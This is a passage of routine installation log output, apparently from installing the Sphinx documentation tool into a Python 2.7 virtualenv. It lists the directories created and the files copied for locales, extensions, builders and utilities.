/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/es/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/zh_CN/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ca/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/pt_BR/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/tr/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ru/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/da/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fa/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/sv/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/fi/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/de/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ja/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/sphinx.pot -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/lt/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/ne/LC_MESSAGES + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.po -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES/sphinx.mo -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/locale/uk_UA/LC_MESSAGES + + copying build/lib.linux-x86_64-2.7/sphinx/jinja2glue.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/base.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/class.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary/module.rst -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary/templates/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/generate.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext/autosummary + + copying build/lib.linux-x86_64-2.7/sphinx/ext/jsmath.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/refcounting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/viewcode.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/ifconfig.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/autodoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/mathjax.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/todo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/pngmath.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/inheritance_diagram.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/intersphinx.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/doctest.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/coverage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/graphviz.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/mathbase.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/oldcmarkup.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + copying build/lib.linux-x86_64-2.7/sphinx/ext/extlinks.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/ext + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/matching.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/pycompat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/osutil.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/png.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/console.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/stemmer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/inspect.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/jsdump.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/smartypants.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/tags.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/docstrings.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/texescape.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/jsonimpl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/docfields.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + copying build/lib.linux-x86_64-2.7/sphinx/util/compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/util + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/sqlalchemystorage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/sqlalchemy_db.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/storage/differ.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/storage + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/xapiansearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/nullsearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/whooshsearch.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/search/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport/search + + copying build/lib.linux-x86_64-2.7/sphinx/websupport/errors.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/websupport + + copying build/lib.linux-x86_64-2.7/sphinx/roles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/quickstart.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/cmdline.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/environment.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/Grammar.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/driver.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/parse.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/token.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/grammar.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/tokenize.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/pgen.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/pgen2/literals.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode/pgen2 + + copying build/lib.linux-x86_64-2.7/sphinx/pycode/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/pycode + + copying build/lib.linux-x86_64-2.7/sphinx/highlighting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/config.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/epub.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/linkcheck.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/devhelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/texinfo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/htmlhelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/qthelp.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/gettext.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/builders/changes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/builders + + copying build/lib.linux-x86_64-2.7/sphinx/setup_command.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinxmanual.cls -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/Makefile -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinx.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/fncychap.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/sphinxhowto.cls -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/tabulary.sty -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + copying build/lib.linux-x86_64-2.7/sphinx/texinputs/python.ist -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/texinputs + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives + + copying build/lib.linux-x86_64-2.7/sphinx/directives/other.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives + + copying build/lib.linux-x86_64-2.7/sphinx/directives/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives + + copying build/lib.linux-x86_64-2.7/sphinx/directives/code.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/directives + + copying build/lib.linux-x86_64-2.7/sphinx/theming.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search + + copying build/lib.linux-x86_64-2.7/sphinx/search/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search + + copying build/lib.linux-x86_64-2.7/sphinx/search/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search + + copying build/lib.linux-x86_64-2.7/sphinx/search/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/search + + copying build/lib.linux-x86_64-2.7/sphinx/addnodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/errors.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/apidoc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying build/lib.linux-x86_64-2.7/sphinx/versioning.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + copying 